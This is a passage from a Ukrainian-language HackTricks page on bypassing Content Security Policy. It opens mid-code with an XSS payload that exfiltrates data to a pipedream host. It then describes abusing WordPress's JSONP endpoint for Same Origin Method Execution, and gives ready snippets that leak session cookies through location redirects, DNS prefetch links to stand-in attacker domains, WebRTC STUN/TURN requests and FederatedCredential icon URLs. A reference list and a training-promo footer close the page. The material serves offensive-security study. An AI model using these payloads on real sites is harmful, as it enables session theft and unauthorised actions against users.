a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`
}, 1000)
SOME + 'self' + wordpress
SOME — це техніка, яка зловживає XSS (або сильно обмеженим XSS) в endpoint сторінки, щоб зловживати іншими endpoint тієї ж origin. Це робиться шляхом завантаження вразливого endpoint зі сторінки атакуючого, а потім оновлення сторінки атакуючого на реальний endpoint в тій же origin, яку ви хочете зловживати. Таким чином вразливий endpoint може використовувати об'єкт opener
в payload, щоб отримати доступ до DOM реального endpoint, над яким здійснюється зловживання. Для детальнішої інформації див.:
SOME - Same Origin Method Execution
Більше того, wordpress має JSONP endpoint у /wp-json/wp/v2/users/1?_jsonp=data
, який відобразить надані data у виводі (з обмеженням — лише літери, цифри та крапки).
Атакуючий може зловживати цим endpoint, щоб згенерувати SOME attack проти WordPress і вбудувати його всередину <script s
rc=/wp-json/wp/v2/users/1?_jsonp=some_attack></script>
— зауважте, що цей script буде завантажено, оскільки він дозволений 'self'. Більше того, і оскільки WordPress встановлено, атакуючий може зловживати SOME attack через вразливий callback endpoint, який обходить CSP, щоб надати користувачу більше привілеїв, встановити новий plugin...
Для детальнішої інформації про те, як виконати цю атаку, див. https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/
CSP Exfiltration Bypasses
Якщо діє суворий CSP, який не дозволяє вам interact with external servers, є кілька способів, за допомогою яких все одно можна вивести інформацію.
Location
Можна просто оновити location, щоб надіслати секретну інформацію на сервер атакуючого:
var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid
Meta tag
Ви можете перенаправити, вставивши meta tag (це лише перенаправлення, це не призведе до leak контенту)
<meta http-equiv="refresh" content="1; http://attacker.com" />
DNS Prefetch
Щоб завантажувати сторінки швидше, браузери попередньо розв'язують імена хостів у IP-адреси та кешують їх для подальшого використання.
Ви можете вказати браузеру попередньо розв'язати ім'я хоста за допомогою: <link rel="dns-prefetch" href="something.com">
Цю поведінку можна використати для exfiltrate sensitive information via DNS requests:
var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
body.innerHTML =
body.innerHTML +
'<link rel="dns-prefetch" href="//' +
sessionid +
'attacker.ch">'
Інший спосіб:
const linkEl = document.createElement("link")
linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)
Щоб уникнути цього, сервер може відправити HTTP header:
X-DNS-Prefetch-Control: off
tip
Схоже, ця техніка не працює в headless browsers (bots)
WebRTC
На кількох сторінках можна прочитати, що WebRTC не перевіряє політику connect-src
у CSP.
Насправді ви можете leak інформацію, використовуючи DNS request. Подивіться на цей код:
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
p.createDataChannel("")
p.setLocalDescription(await p.createOffer())
})()
Ще один варіант:
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
CredentialsContainer
Спливаюче вікно для облікових даних надсилає DNS-запит до iconURL, не будучи обмеженим сторінкою. Працює лише в безпечному контексті (HTTPS) або на localhost.
navigator.credentials.store(
new FederatedCredential({
id:"satoki",
name:"satoki",
provider:"https:"+your_data+"example.com",
iconURL:"https:"+your_data+"example.com"
})
)
Перевірка політик CSP онлайн
Автоматичне створення CSP
https://csper.io/docs/generating-content-security-policy
Джерела
- https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/
- https://lcamtuf.coredump.cx/postxss/
- https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d
- https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme
- https://www.youtube.com/watch?v=MCyPuOWs3dg
- https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/
- https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/
- https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket
- The Art of PHP: CTF‑born exploits and techniques
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.